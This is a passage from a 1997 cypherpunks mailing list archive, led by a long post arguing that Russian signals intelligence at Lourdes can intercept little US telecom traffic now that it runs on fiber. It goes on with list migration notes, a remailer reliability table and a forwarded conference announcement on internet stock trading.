or being installed now.  At the best there are a few remote places where
installing fiber is impractical that still communicate with the world on
microwave links and there are a few microwave systems still in service
to carry certain vital national survival and security traffic where they
provide redundancy.

	Also, essentially all current common carrier microwave is now
digital rather than fm-fdm-ssb.  These high capacity and bit rate 64-QAM
or 256-QAM signals are significantly harder to intercept and demodulate
and demultiplex than the FM signals used until the late 80's were.  This
is especially true of reception from sites that see only marginal
scattered signals rather than the direct beam, as digital radio tends to
not work at all with marginal signals rather than being just noisy.

	I think that probably less than 1% of US long distance public
telephone and data communications currently travel by microwave at any
point in their journey compared to more than 68% at the peak  of
microwave usage in the early 1980's.  And this figure is dropping
steadily over time as more and more fiber is put in service.

> As the Center for Security Policy (CSP) points out, the GRU _ the Main
> Intelligence Directorate of the General Staff of the Russian Armed Forces _
> maintains signals intelligence ("sigint") facilities in Lourdes, Cuba, and
> Cam Ranh
> Bay in Vietnam which are capable of intercepting nearly all microwaved
> communication across the continental United States as well as the Atlantic and
> Pacific.

	This is not entirely true.  Intercepting microwave signals from
over the horizon is not possible except under truly extraordinary
propagation conditions and then only for brief periods of time with
gigantic antennas and from relatively nearby places.  And the  resultant
scattered signal is of very poor quality and getting usable high bit
rate data out of such scatter signals,  as would be required to
intercept common carrier traffic, is not easily possible.

	At the very best the Lourdes facility might possibly be able to
see occasional microwave scatter traffic from southern Florida and the
Carribean on very good days.  This is hardly traffic from the entire
continental US and one can be very sure that the NSA and other agencies
responsible for thinking about US communications security have long ago
arranged in cooperation with the long distance carriers to ensure that
nothing of any great use was showing up.

	There are two catagories of microwave traffic those facilities
can intercept - domestic and international satellite traffic from US
satellites with footprints that cover the Carribean and whatever radio
traffic is intercepted by Russian low orbit ferret satellites as they
pass over North America and by high orbit monitoring satellites parked
over the western hemisphere.

	Very little public point to point telephone and data traffic
between points in the US is currently transmitted via satellite.  Fiber
is so much cheaper and better in quality that the carriers gave up
satellite transmission of domestic traffic some years ago.  There are
some compelling reasons for this - the long 240 ms delay in transmitting
traffic via geosynchronous satellite is very noticable to many humans in
the give and take of conversations, and without special protocol
provisions many data communications systems give horrible throughput
over links with that long a delay as well as giving unnacceptably long
echo delays in interactive applications.  And satellite bandwidths are
even less than terrestrial microwave bandwidths and compared to the vast
amount of fiber now in service are just a tiny fraction of the total.

	Domestic communications satellites are primarily used for point
to multipoint traffic such as credit card authorization systems for gas
stations and stores and distribution of video to TV stations and cable 
companies, and broadcasts of data to large numbers of receivers.  It is
rarely cheaper and more cost effective to put point to point traffic on
communications satellites.  And most of what is there is traffic sent by
private users of one sort or another such as large companies and
government agencies - much of which is securely encrypted if sensitive.
And that which is not encrypted is readily accessible to anyone with the
right commonly available equipment and a vanilla satellite dish of the
sort there are literally millions and millions of scattered throughout
the US, Canada and Mexico - the potential threat from this source dwarfs
what the Russians might do with the information (and is readily
controlled by link encryption).

	Even international communications from the US are less and less
routed via satellite as high capacity fiber trans-ocean cables are
installed.  I have seen numbers on the order of less than 10% satellite
transmission of international traffic and as new optical amplifier
cables are installed (which one can assume the UKUSA partners such as
the US NSA get the entire bitstream from) this number is also plunging.
And most international satellite communications can be monitored from
the other end and do not have to be monitored from near the US.

	As a point of fact I would be more concerned that Russian
submarines have tapped the trans-Atlantic and trans-Pacific cables
somewhere than that the Russians pick up satellite communications. One
hopes that the bitstreams on those cables are really securely link
encrypted - doing so would seem to be a no-brainer - but I have never
seen any reference to this being the practice.

	What capabilities Russian sigint satellites still have in the
post USSR era of economic collapse where Russia has not been able to
launch a single imaging spy satellite for several months and has no
usable ones in orbit, according to a recent NY Times story, is not
clear.  Russian satellites have generally had a much shorter useful life
in orbit than US satellites do and Russia and the Russian space program
has been pretty poor and disorganized for the last several years.  At
best such sigint satellites could conceivably be used  to monitor some
few domestic microwave links that happened to put a usable signal in the
direction of the satellite and were far enough away from other
transmitters on the same frequency to be separated by antenna
directivity enough to stand out.   While a satellite in geosynchronous
orbit could see all of North America, it is pretty certain that it could
see only a rather small fraction of modern digital microwave links well
enough to recover traffic from them.  And it is absolutely certain that
the capacity of the satellite to intercept and relay traffic is only a
few microwave links simultaneously at most.  This is hardly everything
or more than a small piece in fact.

	It has been reported that Russian sigint satellites use laser
optical links back to Lourdes rather than the Ka and higher frequency
band microwave links that US equivalents have used to pass the signals
they intercept, but one suspects that the relevant US agencies have
probably used whatever means were necessary to find these links and
determine what US traffic is being monitored and ensure that that
anything truly important was routed by fiber instead.

	In any case, the value of Lourdes is primarily as a base for
intercepting US satellite communications and as a conveniant place to
put a ground station for sigint and ferret satellites where  satellite
to satellite relay is not required to get the signals back to a ground
station.  If Lourdes were shut down most of the sigint functions of these
satellites could be operated from Russia using satellite to satellite
communications of one sort or another. The only major loss would be the
ability to intercept certain domestic communications satellite signals
which use focused beams and not readily intercepted from other places
where the Russians may have space to put antennas.  And one suspects
that the Russians could probably do most of this interception from
covert sites under cover as legitimate satellite installations in the US
and Canada or other Caribbean or Central American countries.

	In any case it is certainly not true that Lourdes can intercept
a significant fraction of US telecommunications simply because most US
telecommunications do not any longer travel via microwave radio. 
Lourdes undoubtably can intercept enough useful stuff to justify
continuing its operation, but this is partly because of blind US
government policy on encryption rather than anything else.  This
especially applies to cellular communications which can be intercepted
from satellites (and of course by anyone with a scanner or modified
cellphone as well).  How well even satellites with large 100 or 200 foot
dishes do at intercepting the dense network of US and other cellular
systems with hundreds of transmitters going at once on the same
frequency in the area of the footprint of the satellite receive antenna
at 800 mhz I do not know.  And tracking and identifying calls of
interest when the satellite can intercept only some cells on some
cellsites reliably must be fairly hard. 

	In any event the US operates several sigint satellites of much
more advanced design and capability than Russia and has for many more
years than the Russians have.   And it is widely reported that the US
has worldwide ground monitoring stations listening to essentially all
communications satellites in the Clarke orbit and probably any that
aren't that could possibly carry useful traffic.  Our capabilities and
technology and expenditure in this area is well beyond anyone elses. 
	
 Furthermore, according to the CSP, "it is believed that both the
> Russians
> and the Cubans are developing capabilities at Lourdes to conduct information
> warfare (IW). Such a capability would permit these facilities to be employed not
> only to intercept information [but also to] make it possible for Moscow or
> Havana
> to manipulate telecommunicated information so as to deny the American people
> and their government vital services or otherwise work against U.S. interests."
> 

	There may be some capability to jam US commercial communications
satellites which for the most part have not any kind of protection
against such jamming.  Vital US military communications satellites do.
Successfully conducting man-in-the-middle attacks on terrestrial
microwave communications from Clarke orbit is difficult at the very very
best and probably essentially impossible simply because of the 240 ms
delay involved and the enormous difficulty of sucessfully interjecting
the right kind of signal into a microwave link that uses highly
directional antennas and modulation techniques that are amplitude
sensitive such as QAM.   And one can certainly assume that the US is
carefully watching Russian sigint satellites at all times and would
certainly know immediately if they started radiating enough signal to
disrupt or spoof US communications systems.

	Of course all sigint yields information such as passwords and
encryption keys and spectral signatures of speakers and call addressing
and routing information (traffic analysis) that can be used to good
advantage in later active man-in-the-middle attacks.  And one can
certainly assume that the Russians and many other governments including
the US have spent considerable effort developing active penetration and
disruption capablity.  It has even been reported that the US has been
using this to force network traffic to be routed in Europe via 
facilities the US can monitor.


> According to former GRU Colonel Stanislav Lunev, "The strategic significance of
> the Lourdes facility has grown dramatically since the secret order from Russian
> Federation President [Boris Yeltsin] of 7 February 1996 demanding that the
> Russian intelligence community step up the theft of American and other Western
> economic and trade secrets. It currently represents a very formidable and
> ominous
> threat to U.S. national security as well as the American economy and
> infrastructure."
> 
> Yet the Clinton Administration insists that it is in America's interest to
> allow the
> GRU to continue its eavesdropping on the U.S. In congressional testimony
> delivered on March 16, 1995, Assistant Secretary of State for Inter-American
> Affairs Alexander Watson asserted that pressuring Russia to discontinue sigint
> activities in Cuba "could limit our ability to promote reform and stability
> in Russia"
> as it could "be seen by the Russians as interfering with the exercise of
> their right
> under the START Treaty to monitor compliance with the agreement...."
> 


	And of course if we pressure them and other governments to
abandon sigint operations they can and will start to do the same to us. 
And ours are greater in magnitude and productivity than theirs.


> As with so many other issues, the Clintonites and the Soviets are reading
> from the
> same page regarding the Cuban sigint facility. Izvestia reported last
> November 30th
> that the U.S. "does not object in principle to the continuing existence of the
> electronic center in Cuba...."i
> 

	One can make the argument that sigint for national security
purposes is stabilizing and not altogether a bad thing.  Many of us who
are at least dimly aware of the technology fear its potential in the
hands of a future fascist police state greatly, but one suspects that
the Russians do not use the information effectively to damage US
interests.  After all we are the top economic and  military power in the
world and they are nearly in third world status economicly and have a
rapidly deteriorating military.  Perhaps the greatest risk from their
Soviet era sigint capabilities is that information will leak from
starved intelligence agency employees  and officials to the Russian
criminal mafias and benefit organized crime. There is certainly
potential there for mischief, especially considering that a good amount
of criminally useful information flows unencrypted over radio
communications in the US.

	If I was in the US government and thinking about the threat of
the Russian sigint capability I would be pushing for more use of
encryption in domestic commercial communications and especially such
things as cellphones and wireless data systems.  Universal link
encryption with secure ciphers of such radio based communications
systems  should not impact lawful interception of communications one
iota since the  government can always request wiretaps using their
spiffy new digital telephony tapping capablity.  The carriers would
always have access to the unencrypted traffic after all and could
forward it to the government. And many of us think that end-to-end
encryption of traffic is a better choice in the long run than no
encryption, even if it locks out the government (and everyone else) from
easily, and in large quantities, fishing through traffic.  One supposes
that the government will always be able to obtain most traffic it wants
badly enough, through cryptanalysis, TEMPEST, rubber hose cryptanalysis,
black bag jobs, bugging, and the perfidy of informants of one sort or
another, and of course most of all - carelessness and ignorance about
INFOSEC and bugs and configuration problems in software.

	But I would also be mindful that the Russians have decreasing
intelligence capability to monitor US intentions and perhaps allowing
them some access will keep them from developing paraniod fears of US
intentions.  The Russians probably still have a few working ICBMs after
all...

	In any case enough of these speculations.  Perhaps a
semi-retired telecommunications/computer engineer such as myself with
access only to public information gets the picture completely wrong. 
And perhaps not. I do know it is definately and without a doubt not true
that more and more domestic communications flow over microwave point to
point radio, however.  And I think that anyone propagating that myth
deserves a correction.

							Dave Emery
							die@die.com
							Weston, Mass.

						






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 16 Feb 1997 23:52:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Another test
Message-ID: <199702170751.XAA14804@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


Another test




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Emery" <die@pig.die.com>
Date: Sun, 16 Feb 1997 20:53:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Modified Clipper chip - HA! (fwd)
Message-ID: <9702170453.AA22664@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain




>For all of you who didn't see the last X-Files ...
>Mulder made a visit to The Lone Gunman about breaking into some
>impenetrable system.
>Byers points out that "Yeah, that system is pretty hard to get into."
>Mulder then inquires "well how did you guys get in?".
>Byers replies cooly: "We used a modified Clipper chip we bought back from
>the Chinese."
>I didn't stop laughing for 5 minutes ... :)
>_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________


I don't know whether this guy knows it or not but mainland China buys huge
quanities of DoD surplus scrap electronics. The material is required to be
mutilated but stuff slips through. I have seen it myself. The little bit on
X-files noted above is not as far fetched as one might believe.

..Jim

<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:>       Jim Conrad - Ocean View Communications - jjc@infi.net      <:>
<:>  757-490-8127 Office  -  757-587-8251 Fax - 757-473-6740 Pager   <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 23:59:56 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702170759.XAA09067@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles writes:
> At 01:13 PM 2/16/97 -0800, Dave Hayes wrote:
> >I can also offer my participation in the distributed mailing list, if
> >that is what it takes to get cypherpunks free of control interests again.
> I think it would be more accurate to say that this is what it takes to get
> cypherpunks into the hands of different control interests. 

Ok. If the legends about this list are true, then this is the ideal
place to determine the feasability of removing -any- control
interests.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

   The only person who needs a contract is one who cannot be trusted.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 16 Feb 1997 22:43:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Science Generations, II
Message-ID: <01IFI712H7OC8Y4XA0@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From: azur@netcom.com (Steve Schear)

>Regarding amateur experiments with 'real' rockets, the Fed have passed a
>plethora of laws effectively resticting what non-governmental bodies may
>investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
>173.88. I guess I can't play with matches anymore.  Thank you Congress.

	What precisely do those laws say? As a scientist, I have somewhat
of an interest in such subjects, and I don't have very good access to
legal databases. (For instance, I tried the Library of Congress search
system for laws passed since 1973... and the thing's indexed by _title_
of legislation, not the more standard designation you gave...).
	Thanks,
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Sun, 16 Feb 1997 23:37:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anyone have the complete info on CP list alternatives?
Message-ID: <199702170736.CAA02163@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Everyone and his/her cousin has jumped into the void
created when John Gilmore decided to pull the plug
on toad.com.

However, I'm very confused on just what to do at this
point, my news server doesn't see alt.cypherpunks
yet and if it did would probably lose about 75% of
the posts if past performance is to be any indicator.
(Or more accurately, would never get them, we seem
to be a bottom feeder here in South Florida as far
as the newsgroups go.)

Has anyone composed a concise summary of just
what the options are? Time is running out, I guess.

Thanks in advance.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 20:48:56 -0800 (PST)
To: cynthb@sonetis.com
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <199702170406.XAA23365@homer.iosphere.net>
Message-ID: <19970217044832.19610.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   From: "Cynthia H. Brown" <cynthb@sonetis.com>
   Date: Sun, 16 Feb 1997 23:02:02 -0500

   So, if I put root@127.0.0.1 in the "From:" field of my news reader's
   configuration, all of my posts will give this as my e-mail address. 

More likely to be delivered is root@[127.0.0.1] or
root@localhost.nceye.net or similar.  The thing to the right has to be
a name or a numeric address *in brackets*.  Yes, this doesn't seem to
make terribly much sense.  Another approach if you can do it is to get
an alias that looks like a message-ID.  All my outgoing usenet posts
lately have said
From: Bryan Reece <23je8s$ksd@taz.nceye.net> 
at the top, and no spam has come to that address.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 20:49:45 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: When and where?
In-Reply-To: <199702170211.SAA12987@toad.com>
Message-ID: <19970217044943.19626.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece@taz.nceye.net
   Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST)
   From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   -----BEGIN PGP SIGNED MESSAGE-----

   camcc@abraxis.com (Alec) writes:
   > Please post the date when this list will shift to Usenet if that is indeed to
   > happen. I have not been able to sort out the facts (?) from the speculation,
   > argument, and gas.
   > 
   > I have requested my ISP to add alt.cypherpunks to the mail server asap.

   I hope you misspelled "news server." alt.cypherpunks (and subgroups)
   is a newsgroup.

   > I don't want to miss a second of the resurrected (or is that born again?)
   > c'punks.

   You should join one of the distributed mailing lists (choose the list
   admin you like/trust the most). There is supposed to be a gateway
   between the mailing list and the newsgroup, but it is not up yet.

   Here's the overview:
   cypherpunks@toad.com is going away. In its place is a distributed
   forum. This forum is currently made up of a network of mailing lists,
   which send all their messages to each other. In the future, the
   newsgroup alt.cypherpunks will be added to this network (posts to the
   newsgroup go to the mailing lists, mail to the lists goes to the
   newsgroup). The mailing lists will be faster than the newsgroup, the
   newsgroup will probably let you use better filtering tools. Your
   choice.

   HTH,
   Jer

   "standing on top of the world/ never knew how you never could/ never knew
    why you never could live/ innocent life that everyone did" -Wormhole

   (Cool, "newsgroup" is the first word in four consecutive lines. I did
   not do this on purpose, even.)




   -----BEGIN PGP SIGNATURE-----
   Version: 2.6.2

   iQB1AwUBMwe7G8kz/YzIV3P5AQE/lwMAl9FsFoIKk8KF87nDUfczmO3dxo4bDANe
   bxaF9/daqiyR+Ck8vuTZw7YNc0DrsmEDY+Mr0WMuUrcybngagIxsQyuo56jETdLC
   T93ixsHuO7jhW4075ipfH/5MWMkI1zKz
   =G83r
   -----END PGP SIGNATURE-----




-- 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 20:52:43 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: When and where?
In-Reply-To: <199702170211.SAA12987@toad.com>
Message-ID: <19970217045244.20530.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST)
   From: Jeremiah A Blatz <jer+@andrew.cmu.edu>

   Here's the overview:
   cypherpunks@toad.com is going away. In its place is a distributed
   forum. This forum is currently made up of a network of mailing lists,
   which send all their messages to each other. In the future, the
   newsgroup alt.cypherpunks will be added to this network (posts to the
   newsgroup go to the mailing lists, mail to the lists goes to the
   newsgroup). The mailing lists will be faster than the newsgroup, the
   newsgroup will probably let you use better filtering tools. Your
   choice.

There is currently a newsgroup cypherpunks.list on taz.nceye.net
world-accessible.  It receives cypherpunks@algebra.com, but posts
there aren't sent back to the list yet.  Anyone who wants an NNTP feed
of it can have one.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 17 Feb 1997 06:50:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702171450.GAA16062@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<mix@mix.nymserver.com> cpunk mix pgp. hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 17 Feb 97 6:46:40 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
wazoo    remailer@wazoo.com               ++++++++*+++    37:37 100.00%
nym      config@nym.alias.net             *#*##**++#*+     4:23  99.99%
winsock  winsock@rigel.cyberpass.net      -__.+-..---+  7:52:03  99.93%
cyber    alias@alias.cyberpass.net        ** *++++++*+    35:11  99.89%
dustbin  dustman@athensnet.com             .++--.+---   2:08:12  99.85%
weasel   config@weasel.owl.de             +++++++++++   1:06:36  99.77%
exon     remailer@remailer.nl.com           ***-* *#+#     4:10  99.62%
squirrel mix@squirrel.owl.de              + ++++++ +    1:04:02  99.05%
haystack haystack@holy.cow.net            #*##*+*  **+    20:23  98.49%
reno     middleman@cyberpass.net           .++ -- +++   1:16:02  98.36%
lucifer  lucifer@dhp.com                  +++++++ +++     42:18  98.28%
extropia remail@miron.vip.best.com        -------- --   5:19:42  98.21%
middle   middleman@jpunix.com              ++++ + --    2:16:10  97.36%
replay   remailer@replay.com              ---+**  ---*  1:27:53  88.59%
balls    remailer@huge.cajones.com        ## *### *#       1:38  84.09%
jam      remailer@cypherpunks.ca          ******* **       8:25  82.44%
shaman   mix@mix.nymserver.com                            11:03  22.27%
mix      mixmaster@remail.obscura.com     *+           22:42:38  21.62%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 17 Feb 1997 04:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97 lookalike: Stock Trading over the Internet Conference
Message-ID: <v0302091baf2df9d54e07@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


I don't know about *lookalike*...

Cheers,
Bob Hettinga

--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
Precedence: Bulk
Date: Mon, 17 Feb 1997 10:30:32 +0100 (MET)
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: FC97 lookalike: Stock Trading over the Internet Conference

http://www.iqpc.com/0397stoc.htm

STOCK TRADING OVER THE INTERNET

Exploiting the power of Electronic Commerce

March 19-20, 1997 * The Pan Pacific Hotel * San Francisco, CA


Hear first hand tips from the true pioneers in Internet stock trading and
electronic commerce on:

       Conquering the process of going public
       Raising capital in your company via the Internet
       Using the Web to build your business and partnering with
       co-opitition
       Forming permanent syndicates to foster the creation of new
       offerings
       Creating effective and complete marketing plans for IPO's
       and DPO's
       Attracting customers and delivering services through the
       exploding electronic commerce market

The audience for this event will include companies looking to offer
shares via the Internet and drastically cut costs including; Chief
Executive Officers, Chief Financial Officers, Managing Directors,
General Managers, Investor Relations Managers, Underwriters, Stock
Exchange Executives, Venture Capitalists, Investment Bankers,
Private Company Executives, Business Development Executives,
Technology and Business Press and all those seeking to explore
opportunities on the emerging Internet marketplace


DAY ONE
March 19, 1997
Chairman: Brad W. Smith, President, WBS & A, Ltd.

       8:30 REGULATORY CONSIDERATIONS ON INTERNET
       PUBLIC OFFERINGS
       This session will review the many regulatory and legislative
       issues involved in the development of Internet public
       offerings. In particular, how and why the regulatory bodies
       of the NASD, NASDAQ and the SEC are making a
       commitment to the Internet as a vehicle that serves the
       investor. Proper surveillance procedures have been created and
       executed to protect all parties. Internet initiatives have been
       developed to bridge the market side and regulatory side of
       these complex issues.
       Al Dandridge, Associate Director of Corporate Finance
       U.S. SECURITIES AND EXCHANGE COMMISSION

       Charles Bennett, Associate Director of Corporate Finance
       NASD

       9:30 INTERNET TRADING MARKET PROJECTIONS
       Internet trading is an emerging market wave that is poised for
       explosive growth. More than 60 million investors have
       brokerage accounts. The media reports that Internet brokerage
       accounts will jump from 1.5 million today to 9.3 million by
       the year 2001; Every bank will use the Internet to attract
       customers and deliver services in the next five years and
       electronic commerce will grow to $600 billion annually
       within the next 10 years. Visionaries believe that one of the
       most profound effects of these phenomena's will be to
       changehow small businesses get capitalized. They predict that
       small business public offerings will become routine for
       nano-cap companies.
       This session will present a strategic overview of the
       emergence of internet capabilities that make it possible for
       investors to invest in and trade nano-cap company stocks.
       Brad Smith, President
       WBS & A, Ltd.
       bradwsmith@aol.com

       11:00 GOING PUBLIC: HOW TO RAISE CAPITAL
       THROUGH A DIRECT PUBLIC OFFERING (DPO) This
       session will explore from concept to completion, how to
       perform all of the necessary functions to prepare and market a
       DPO and/or an Internet DPO. A case study will be shared of a
       DPO that will be presented to the investment community
       world-wide in early 1997. Learn from the experts the
       specifics on how to take your company where you want to go
       and ensure success including:
              Marketing through an investor relations firm
              Choosing an appropriate analyst
              Utilizing a transfer agent
              The link between broker and internet commerce
       David A. Levonian, President
       INTERNATIONAL INVESTOR RELATIONS
       http://iirwebtv.net

       1:00 OVERCOMING THE PITFALLS AND
       CHALLENGES OF GOING PUBLIC
       The advantages of "going public" appear straight forward. The
       company accesses the capital it needs to expand or refine its
       product. (In a purely coincidental occurrence, the current
       shareholder [including investment bankers, SEC lawyers and
       stock brokers] get rich.)
       There are numerous challenges in conquering the process of
       "going public" including:
              There are problems with the lawyers, accountants
              and the bankers and they are on YOUR SIDE
              There are pounds of paper forms which must be
              submitted to every group, not to mention the SEC.
              However, an approved offering does not make a
              successful offering. It still must be marketed,
              either by stock brokers OR MAYBE directly over
              the Internet. And not just to the U.S., but to the
              entire world.
              That may be the wave of the future. Direct access to
              securities and their offering companies over the
              Internet.
       Michael J. Waddell, President
       PROMARKETING, INC.
       Developer of the (http://www.freemarket.org) selected by
       PC Novice Guide to the Web as one of the Internet "Greatest
       Sites"

       2:00 IPONET: SELLING & ADVERTISING IPO'S ON THE
       INTERNET: THE CREATION OF THE FIRST
       PERMANENT SYNDICATE
       IPOnet is currently the only site on the Internet with
       clearance from the SEC to advertise and sell new security
       offerings online.
       IPOnet intends to have multiple Broker/Dealers listed on it's
       site.
       This will create the first permanent syndicate of
       Broker/Dealers.
       These Broker/Dealers will act as selected dealers for each
       others offerings and act as underwriters of their own
       offerings.
       This session will examine the following topics:
              Why the broker can not be eliminated from the
              offerings
              What really happens when an IPO is put on the
              Internet
              Why DPO's will never be a major threat to brokers
              Why a permanent syndicate will foster the creation
              of new offerings
       Leo J. Feldman, President
       IPONET
       http://www.e-iponet.com
       lfeldman@e-iponet.com

       3:30 THE IMPORTANCE OF TRADITIONAL
       EXCHANGES AS A SECONDARY MARKET
       Taking your company public via the Internet, rather than the
       traditional exchange, has become a very viable alternative for
       small business owners. However, unless the offering is
       backed by a complete marketing plan, it is unlikely that the
       offering will reap huge financial rewards and achieve success.
       Incorporating a traditional exchange as a secondary market
